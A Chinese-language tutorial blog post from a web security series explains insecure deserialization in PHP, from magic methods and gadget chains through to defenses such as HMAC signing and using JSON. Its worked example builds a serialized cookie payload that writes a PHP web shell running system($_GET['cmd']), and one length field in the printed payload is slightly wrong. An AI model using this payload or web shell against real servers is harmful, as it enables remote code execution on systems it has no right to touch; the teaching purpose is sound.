iT邦幫忙

2025 iThome 鐵人賽

DAY 28
0
Security

跨出第一步:D 從0到0.1的Web security 系列 第 28

Day27:不安全的反序列化

  • 分享至 

  • xImage
  •  

今天我們來談談一個在 OWASP Top 10 中常年佔據高位、極其隱蔽且破壞力巨大的漏洞——不安全的反序列化 (Insecure Deserialization)

這個漏洞的核心思想非常狡猾,它是一種「資料與程式碼界線模糊」所導致的攻擊。攻擊者將惡意的「指令」偽裝成無害的「資料」,當應用程式試圖還原這些資料時,卻意外地執行了惡意的指令,往往直接導致遠端程式碼執行 (RCE)。


什麼是「序列化」與「反序列化」?

要理解這個漏洞,必須先了解這兩個正常的程式設計概念。

  • 序列化 (Serialization)

    • 目的:將程式運行時記憶體中的「物件 (Object)」轉換成一種可以儲存或傳輸的「格式化字串 (String)」或「位元組流 (Byte Stream)」。
    • 用途
      1. 狀態儲存:將使用者的 Session 物件序列化後,存入 Cookie 或資料庫。
      2. 快取:將複雜的查詢結果物件序列化後,存入 Redis 等快取系統。
      3. 遠程程序呼叫 (RPC):在不同的服務之間傳遞物件。
    • 範例 (PHP)
      class User {
          public $name = "guest";
          public $isAdmin = false;
      }
      $user_obj = new User();
      // 將 $user_obj 物件轉換成字串
      $serialized_string = serialize($user_obj);
      // O:4:"User":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
      
  • 反序列化 (Deserialization)

    • 目的:將序列化後的字串或位元組流,還原成記憶體中原始的物件。
    • 範例 (PHP)
      $restored_obj = unserialize($serialized_string);
      // $restored_obj 現在是一個 User 物件
      

「不安全」的根源在哪裡?

這個流程看似無害,但問題出在:如果被反序列化的字串是來自於不可信的來源(例如,來自使用者的 Cookie、HTTP 請求的參數),會發生什麼事?

不安全反序列化的根本原因就是:應用程式盲目地信任了傳入的序列化資料,並認為它只包含「資料」。但事實上,攻擊者可以精心建構一個序列化的字串,使其在被還原成物件的過程中,觸發應用程式執行非預期的程式碼。

一個具體的比喻:

  • 序列化:就像你將一個精密的樂高模型(物件),小心翼翼地拆解成零件,並附上一份詳細的「組裝說明書」,然後打包成一個盒子(序列化字串)以便郵寄。
  • 反序列化:收件人(應用程式)收到盒子後,會完全按照裡面的「組裝說明書」來還原樂高模型。
  • 不安全的反序列化:攻擊者攔截了你的包裹,將裡面的「組-裝說明書」換成了他自己的版本。新的說明書在組裝的最後一步,寫的不是「將頭部裝上」,而是「點燃附贈的炸藥」。
    收件人(應用程式)並不知道說明書被換過了,他只是忠實地執行每一個步驟,最終導致災難性的後果。

攻擊如何運作?— 魔法方法與小工具 (Magic Methods & Gadgets)

攻擊者之所以能「點燃炸藥」,是因為許多程式語言在反序列化時,會自動呼叫一些特殊的「魔法方法 (Magic Methods)」。

  • 魔法方法:這些是在特定事件發生時會被自動執行的類別方法。例如,在 PHP 中,當 unserialize() 成功還原一個物件時,會自動檢查該物件的類別中是否存在 __wakeup() 方法,如果存在就會立即執行它。Java 有 readObject(),Python 有 __reduce__()
  • 小工具 (Gadgets):攻擊者本身不能注入新的程式碼,但他可以利用應用程式現存的程式碼。一個「小工具」就是應用程式自身程式碼或其依賴的函式庫中,某個類別裡的一段可以被利用的程式碼(通常位於某個魔法方法內)。
  • 小工具鏈 (Gadget Chains):攻擊者將多個「小工具」串聯起來,像多米諾骨牌一樣,觸發第一個物件的魔法方法,該方法又去呼叫第二個物件的方法,最終觸及一個可以執行危險操作的函式(例如 system(), exec(), eval()),達成 RCE。

一個簡化的 PHP 攻擊範例

  1. 伺服器端存在一個「小工具」類別 (可能是某個開發者留下的日誌功能):

    class LogFile {
        public $filename = 'error.log';
        public $log_data = '';
    
        // 魔法方法:物件被反序列化時會自動執行
        public function __wakeup() {
            // 這個功能本意是寫日誌,但卻可以被濫用來寫入任意檔案
            file_put_contents($this->filename, $this->log_data);
        }
    }
    
  2. 應用程式的脆弱點 (例如,從 Cookie 中讀取並反序列化使用者資訊):

    // 開發者可能預期這裡只會收到 User 物件的序列化字串
    $user_data = unserialize($_COOKIE['session']);
    
  3. 攻擊者在本機建構惡意 Payload

    // 在攻擊者自己的環境中
    class LogFile { /* ...和伺服器端一樣的定義... */ }
    
    $malicious_obj = new LogFile();
    // 將檔名設為一個 PHP Web Shell
    $malicious_obj->filename = 'shell.php';
    // 將檔案內容設為惡意程式碼
    $malicious_obj->log_data = '<?php system($_GET["cmd"]); ?>';
    
    // 將這個惡意物件序列化
    echo serialize($malicious_obj);
    // 輸出: O:7:"LogFile":2:{s:8:"filename";s:9:"shell.php";s:8:"log_data";s:28:"<?php system($_GET["cmd"]); ?>";}
    
  4. 執行攻擊
    攻擊者將這串惡意的序列化字串,透過瀏覽器開發者工具,設定到自己的 session Cookie 中,然後向伺服器發送請求。

  5. 伺服器中招

    • 伺服器執行 unserialize($_COOKIE['session'])
    • PHP 引擎根據字串,還原出一個 LogFile 物件。
    • 還原成功後,PHP 立即執行 LogFile 物件的 __wakeup() 方法。
    • __wakeup() 方法執行了 file_put_contents('shell.php', '<?php ... ?>')
    • 一個 Web Shell 就這樣被寫入了伺服器,攻擊者接著就可以透過訪問 shell.php 來執行任意系統命令,達成 RCE。

危害與防禦

  • 主要危害

    • 遠端程式碼執行 (RCE):最嚴重、最常見的後果。
    • 權限提升與存取控制繞過:例如,攻擊者修改序列化字串中的 isAdmin 屬性從 falsetrue
    • 阻斷服務 (DoS):可以建構導致無限遞迴或消耗大量資源的物件。
  • 防禦策略

    1. 黃金法則:絕對不要反序列化來自不可信來源的資料。 這是最根本的原則。
    2. 使用更安全的資料格式:在絕大多數場景下,使用 JSON 來進行資料交換是更安全的選擇。JSON 是一種純資料格式,解析 JSON 的過程通常不會觸發程式碼執行。
    3. 完整性校驗:如果業務上必須使用序列化(例如為了保持物件的類型),則必須對序列化字串進行數位簽章(例如使用 HMAC)。伺服器在序列化後對字串簽名,在反序列化前驗證簽名。由於攻擊者沒有密鑰,他無法偽造合法的簽名,任何對序列化字串的篡改都會被發現。
    4. 保持函式庫與框架更新:及時更新你的專案依賴,因為許多已知的「小工具鏈」漏洞會在新版本中被修復。

不安全的反序列化是一個典型的「信任邊界」問題。它提醒我們,從外部傳入的任何資料,即使它看起來像是應用程式自己生成的格式,也絕對不能掉以輕心。防禦的關鍵在於堅持「資料是資料,程式碼是程式碼」的原則,避免使用那些會模糊兩者界線的危險功能。


上一篇
Day26:XXE Injection
下一篇
Day:28 API 安全
系列文
跨出第一步:D 從0到0.1的Web security 30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言